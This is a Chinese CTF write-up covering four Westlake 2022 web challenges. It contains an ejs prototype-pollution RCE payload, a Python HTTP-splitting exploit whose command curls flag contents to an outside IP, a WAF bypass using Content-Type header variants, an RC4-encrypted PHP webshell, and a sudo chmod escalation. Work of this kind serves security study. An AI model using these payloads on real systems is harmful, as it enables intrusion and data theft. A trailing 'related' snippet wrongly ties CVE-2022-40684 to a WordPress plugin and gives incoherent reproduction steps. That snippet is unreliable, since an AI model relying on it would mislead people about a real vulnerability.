西湖论剑 2022复现

目录

<1> [西湖论剑 2022] Node Magical Login

<2> [西湖论剑 2022] real_ez_node(ejs原型链污染&http拆分攻击)

<3> [西湖论剑 2022] 扭转乾坤 (RFC差异绕过header头内容限制)

<4> [西湖论剑 2022] unusual php(IDA拿rce密钥&利用rce密钥构造🐎上传&sudo权限命令利用)


<1> [西湖论剑 2022] Node Magical Login

描述:一个简单的用nodejs写的登录站点(貌似暗藏玄机)

 应该是比赛时题目给了源码,源码在:https://github.com/CTF-Archives/2022-xhlj-web-node_magical_login

main.js 部分源码

app.get("/flag1",(req,res) => {
    controller.Flag1Controller(req,res)
})

app.get("/flag2",(req,res) => {
    controller.CheckInternalController(req,res)
})

app.post("/getflag2",(req,res)=> {
    controller.CheckController(req,res)
})

应该是有两个flag。flag1和flag2

再来看controller.js 部分源码 

function LoginController(req,res) {
    try {
        const username = req.body.username
        const password = req.body.password
        if (username !== "admin" || password !== Math.random().toString()) {
            res.status(401).type("text/html").send("Login Failed")
        } else {
            res.cookie("user",SECRET_COOKIE)
            res.redirect("/flag1")
        }
    } catch (__) {}
}
function Flag1Controller(req,res){
    try {
        if(req.cookies.user === SECRET_COOKIE){
            res.setHeader("This_Is_The_Flag1",flag1.toString().trim())
            res.setHeader("This_Is_The_Flag2",flag2.toString().trim())
            res.status(200).type("text/html").send("Login success. Welcome,admin!")
        }
        if(req.cookies.user === "admin") {
            res.setHeader("This_Is_The_Flag1", flag1.toString().trim())
            res.status(200).type("text/html").send("You Got One Part Of Flag! Try To Get Another Part of Flag!")
        }else{
            res.status(401).type("text/html").send("Unauthorized")
        }
    }catch (__) {}
}

根据源码可以知道,访问 / 路由时,即登陆界面,需要满足密码为 Math.random().toString() 随机数,才会给cookie设为SECRET_COOKIE。

访问/flag1路由时,如果cookie为SECRET_COOKIE 就会在返回头里设置flag1和flag2。 显然我们不知道这个随机数是什么,继续往下看。 当cookie 里user值为admin时,可以得到flag1

我们burp抓包,设置cookie访问一下/flag1 得到flag1:NSSCTF{0809d129-5fec

再看和 flag2有关的 CheckInternalController 和 CheckController函数:

function CheckInternalController(req,res) {
    res.sendFile("check.html",{root:"static"})

}

function CheckController(req,res) {
    let checkcode = req.body.checkcode?req.body.checkcode:1234;
    console.log(req.body)
    if(checkcode.length === 16){
        try{
            checkcode = checkcode.toLowerCase()
            if(checkcode !== "aGr5AtSp55dRacer"){
                res.status(403).json({"msg":"Invalid Checkcode1:" + checkcode})
            }
        }catch (__) {}
        res.status(200).type("text/html").json({"msg":"You Got Another Part Of Flag: " + flag2.toString().trim()})
    }else{
        res.status(403).type("text/html").json({"msg":"Invalid Checkcode2:" + checkcode})
    }
}

这里如果传个 array 进去的话,调用 .toLowerCase() 用法会报错 Uncaught TypeError: checkcode.toLowerCase is not a function,但是捕获异常这里直接就能跳过了

注:这里要用json格式发送checkcode, 同时 更改Content-Type: application/json

返回 flag2:-4169-8c16-3b47f0bb3218}

 NSSCTF{0809d129-5fec-4169-8c16-3b47f0bb3218}

<2> [西湖论剑 2022] real_ez_node(ejs原型链污染&http拆分攻击)

 源码在:https://github.com/CTF-Archives/2022-xhlj-web-real_ez_node/

docker文件中可以看到 node版本是8.1.2,是存在http拆分攻击的(CRLF)

可以参考:初识HTTP响应拆分攻击(CRLF Injection)-安全客 - 安全资讯平台

 routes/index.js

var express = require('express');
var http = require('http');
var router = express.Router();
const safeobj = require('safe-obj');
router.get('/',(req,res)=>{
  if (req.query.q) {
    console.log('get q');
  }
  res.render('index');
})
router.post('/copy',(req,res)=>{
  res.setHeader('Content-type','text/html;charset=utf-8')
  var ip = req.connection.remoteAddress;
  console.log(ip);
  var obj = {
      msg: '',
  }
  if (!ip.includes('127.0.0.1')) {
      obj.msg="only for admin"
      res.send(JSON.stringify(obj));
      return 
  }
  let user = {};
  for (let index in req.body) {
      if(!index.includes("__proto__")){
          safeobj.expand(user, index, req.body[index])
      }
    }
  res.render('index');
})

router.get('/curl', function(req, res) {
    var q = req.query.q;
    var resp = "";
    if (q) {
        var url = 'http://localhost:3000/?q=' + q
            try {
                http.get(url,(res1)=>{
                    const { statusCode } = res1;
                    const contentType = res1.headers['content-type'];

                    let error;
                    // 任何 2xx 状态码都表示成功响应,但这里只检查 200。
                    if (statusCode !== 200) {
                      error = new Error('Request Failed.\n' +
                                        `Status Code: ${statusCode}`);
                    }
                    if (error) {
                      console.error(error.message);
                      // 消费响应数据以释放内存
                      res1.resume();
                      return;
                    }

                    res1.setEncoding('utf8');
                    let rawData = '';
                    res1.on('data', (chunk) => { rawData += chunk;
                    res.end('request success') });
                    res1.on('end', () => {
                      try {
                        const parsedData = JSON.parse(rawData);
                        res.end(parsedData+'');
                      } catch (e) {
                        res.end(e.message+'');
                      }
                    });
                  }).on('error', (e) => {
                    res.end(`Got error: ${e.message}`);
                  })
                res.end('ok');
            } catch (error) {
                res.end(error+'');
            }
    } else {
        res.send("search param 'q' missing!");
    }
})
module.exports = router;

看着一处代码:

if(!index.includes("__proto__")){
          safeobj.expand(user, index, req.body[index])
      }

这里过滤了 __proto__ ,猜测是考察原型链污染,__proto__被过滤,使用constructor.prototype绕过。

if (!ip.includes('127.0.0.1')) {
      obj.msg="only for admin"
      res.send(JSON.stringify(obj));
      return 
  }

访问/copy的ip被限制,肯定就是要用 /curl 路由来构造 SSRF 打 /copy 路由下的 原型链污染了。

通过访问 /curl 利用HTTP走私向 /copy 发送POST请求,然后打ejs 污染原型链 实现代码执行

然后就是原型链污染,怎么污染呢?

可以看到存在render,并且使用了模板引擎为ejs

ejs原型链污染的payload如下

{
"__proto__":
{
"outputFunctionName":"a=1; return global.process.mainModule.constructor._load('child_process').execSync('ls'); //"
}
}

题目里面过滤了__proto__,我们可以用constructor.prototype代替

再来看下这个safeobj.expand(user, index, req.body[index])

let user = {};
  for (let index in req.body) {
      if(!index.includes("__proto__")){
          safeobj.expand(user, index, req.body[index])
      }
    }

这里很明显用 safeobj.expand 把接收到的东西给放到 user 里了

跟进具体的函数实现

查看一下safeobj模块里的expand方法:

 

 这个库里直接递归按照 . 做分隔写入 obj,很明显可以原型链污染

 也就是我们传入{"a.b":"123"}会进行赋值a.b=123

将污染ejs的payload按上述方式转换为

{"constructor.prototype.outputFunctionName":
"a=1;return global.process.mainModule.constructor._load('child_process').execSync('cat /flag.txt');//"}

{"constructor.prototype.outputFunctionName":"_tmp1;return global.process.mainModule.require('child_process').exec('curl vps:port/`cat /flag.txt`')"}

 exp脚本如下:

import requests
import urllib.parse

payload = ''' HTTP/1.1

POST /copy HTTP/1.1
Host: 127.0.0.1
Content-Type: application/json
Connection: close
Content-Length: 177

{"constructor.prototype.outputFunctionName":"a=1;return global.process.mainModule.constructor._load('child_process').execSync('curl 43.143.172.74:12345/`cat /flag.txt`');//"}
'''.replace("\n", "\r\n")


def encode(data):
    ret = u""
    for i in data:
        ret += chr(0x0100 + ord(i))
    return ret


payload = encode(payload)
print(urllib.parse.quote(payload))

加解密参考:从 [GYCTF2020]Node Game 了解 nodejs HTTP拆分攻击

不知道为什么没有通,可能是环境问题,,,,

------------------------------------------------- 分割线 ----------------------------------------------------------------

不是环境问题,经测试,Content-length字段必须符合 才可以弹

 

content-length可以这样计算

175字符+2(\n换行会被替换为 \r\n) 所以为:177

<3> [西湖论剑 2022] 扭转乾坤 (RFC差异绕过header头内容限制)

直接上传的话,提示

Sorry,Apache maybe refuse header equals Content-Type: multipart/form-data;.

后端为tomcat,tomcat对于包解析并不是严格按照RFC中的标准,对一些异常的header头内容也会兼容。

利用RFC差异来绕过

修改为Content-Type为multipart//form-data;|大小写兼容|multipart|multipart/  form-data;

参考:从RFC规范看如何绕过waf上传表单 上篇-安全客 - 安全资讯平台

<4> [西湖论剑 2022] unusual php(IDA拿rce密钥&利用rce密钥构造🐎上传&sudo权限命令利用)

没有环境,,,看着wp写一些吧

<?php
if($_GET["a"]=="upload"){
    move_uploaded_file($_FILES['file']["tmp_name"], "upload/".$_FILES['file']["name"]);
}elseif ($_GET["a"]=="read") {
    echo file_get_contents($_GET["file"]);
}elseif ($_GET["a"]=="version") {
    phpinfo();
}

 在phpinfo里得到:

  • 插件目录 /usr/local/lib/php/extensions/no-debug-non-zts-20190902

读 /usr/local/lib/php.ini

在php.ini 找到了 ZendGuard 扩展的文件名 zend_test.so

?a=read&file=php://filter/read=convert.base64-encode/resource=/usr/local/lib/php/extensions/no-debug-non-zts-20190902/zend_test.so

 读回来然后把无关的去掉,再丢进 ida,找到 RC4 函数,里面有秘钥(abcsdfadfjiweur)。

 看起来解析的时候用 abcsdfadfjiweur 作为 key 然后 RC4 解密然后当成 php 去执行

于是我们传个 RC4 加密后的一句话马上去就好 , cyberchef网站

 /etc/sudoers 不可读,但是有个 sudoers.bak

当前的 www-data 用户可以免密执行 chmod,那直接

sudo chmod 777 /flag
cat /flag

 参考:西湖论剑·2022中国杭州网络安全技能大赛 部分WriteUp - 先知社区

 

  • 2
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
CVE-2022-40684是一个与WordPress插件Contact Form 7有关的安全漏洞。该漏洞可能允许攻击者通过恶意构造的特定请求,绕过验证机制并执行远程代码。 要复现CVE-2022-40684,您可以按照以下步骤进行操作: 1. 确保您在本地或测试环境中安装了WordPress,并且已经安装了Contact Form 7插件。 2. 登录WordPress管理后台,并激活Contact Form 7插件。 3. 创建一个新的Contact Form 7表单,并添加一些表单字段,例如名称和电子邮件字段。 4. 打开某个文件编辑器,例如Notepad++或者Sublime Text,并创建一个新的PHP文件。 5. 在PHP文件中编写以下恶意代码: ``` <?php // 攻击者的恶意代码,用于复现漏洞 echo "漏洞复现成功!"; ?> ``` 6. 将PHP文件保存为任意名称,例如exploit.php。 7. 回到WordPress的插件管理页面,找到并激活File Manager Advanced插件。 8. 在File Manager Advanced插件的设置中,启用文件编辑功能。 9. 打开File Manager Advanced插件,并找到主题目录下的functions.php文件。 10. 将以下恶意代码添加到functions.php文件的任意位置: ``` include_once('exploit.php'); ``` 11. 保存functions.php文件,并刷新WordPress前台页面。 12. 访问包含Contact Form 7表单的页面,并填写表单字段。 13. 提交表单后,您将看到"漏洞复现成功!"的输出,表示成功复现CVE-2022-40684漏洞。 请注意,上述步骤仅用于演示CVE-2022-40684漏洞的复现过程。在实际环境中,请遵循安全最佳实践,不要滥用或利用此漏洞来进行非法活动。及时更新和修复软件以确保系统的安全性。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值